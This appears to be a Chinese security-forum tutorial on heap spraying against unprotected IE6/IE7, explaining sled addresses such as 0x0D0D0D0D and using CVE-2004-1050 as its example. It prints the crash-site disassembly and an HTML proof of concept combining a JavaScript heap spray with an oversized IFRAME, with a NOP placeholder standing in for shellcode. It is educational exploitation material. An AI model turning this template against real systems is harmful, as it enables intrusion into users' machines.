首页
论坛
专栏
课程

分享:
# 石器时代-无保护的浏览器利用 接触过漏洞的小伙伴应该都对DEP和ASLR有一些了解,但是具体的引入时间可能很多人不大清楚。 DEP保护是在Windows xp sp2引入的而ASLR是在Windows Vista中引入的。虽然操作系统支持这些缓解措施,但是出于种种原因Windows xp默认的浏览器IE6和Windows Vista默认的浏览器IE7实际上并没有开启DEP和ASLR这两种缓解措施。因而可以说此时的IE浏览器是处于"裸奔"的状态,这也导致了此时的浏览器利用技术比较简单而粗暴。 这时的漏洞利用技术以0x0c0c0c0c最为出名,其背后是被称为堆喷射(Heap Spray)的技术,堆喷射属于比较经典的漏洞利用技术在看雪论坛翻译的《Windows exploit开发系列教程》中就有提及。这里也推荐没看过的同学看一下:https://bbs.pediy.com/thread-225323.htm 堆喷射是一种极具历史感的技术,第一次出现是在2001年。堆喷射最初的使用目的仅仅是为了给一些漏洞利用提供一个稳定的可以存放shellcode的地址,诸如在栈溢出利用中使用堆喷射放置shellcode然后劫持返回地址进行跳转。堆喷射第一次在IE浏览器上的应用出现于CVE-2004-1050的exploit中,采用的是极其经典的nops+shellcode的方式。此后结合千疮百孔的ActiveX,诸如栈溢出,漏洞利用的成本着实相当之低。 但是随着2007年ASLR出现之后,这种“老旧”的技术又焕然新生了。尤其是对于IE浏览器、Adobe Reader等软件来说,因为它们支持内嵌执行javascript为攻击者提供了动态分配内存的途径。 需要再次强调的是此时的IE浏览器(IE6、IE7)是没有任何漏洞缓解措施的,使用堆喷射的主要目的是为了使shellcode处于一个可知的地址,这样当控制了EIP之后就可以实现利用。 这里以CVE-2004-1050为例,CVE-2004-1050是一个发生在FRAME标签的SRC或NAME属性中的堆溢出漏洞,当进行溢出之后程序会针对发生溢出的堆内存执行如下的代码: ``` 7178EC02 8B08 MOV ECX, DWORD PTR [EAX][0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D. 7178EC04 68 847B7071 PUSH 71707B84 7178EC09 50 PUSH EAX 7178EC0A FF11 CALL NEAR DWORD PTR [ECX] ``` 其中eax在溢出后可控制,在exploit中将eax设置为0x0D0D0D0D。因为我们已经通过堆喷射把0x0D0D0D0D处的内存不布置为0x0D+shellcode。因此,ecx的值也会是0x0D0D0D0D,所以eip会跳去0x0D0D0D0D执行。因为0x0D0D0D0D处已经布置了0x0D+shellcode,会首先执行0x0D并最终执行shellcode。其中0x0D也被称为跳板指令。 ``` <HTML> <SCRIPT language="javascript"> shellcode = unescape("%u9090%u9090"); junk = unescape("%u0D0D%u0D0D"); headersize = 20; while(block.length<0x40000-headersize-shellcode.size) block += block; memory = new Array(); for (i=0;i<700;i++) memory[i] = block + shellcode; </SCRIPT> <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;"> </IFRAME> </HTML> ``` 在这个过程中0x0D0D0D0D的地址选择是比较关键的,因为这种技术需要一段滑板指令来增大靶子的面积。在这种情况下就需要一个值,当它是地址时是我们的堆喷可以抵达的,当它是指令时是可以当成滑板指令不影响执行的。所以0x0C0C0C0C、0x0D0D0D0D就成为了通用地址。 但是比如nop这种在栈中常用的滑板指令就不行,因为c++的虚表访问经常是如下的情形 ``` mov eax,[ecx] call [eax+4] ``` 如果用nop填充就会跳到0x90909090。 因此0x0C0C0C0C、0x0D0D0D0D等无关指令又可达的地址就成为大家的选择。

上一篇 :
下一篇 :
讨论 (0)
沪ICP备16048531号-1
沪公网安备 31011502006611号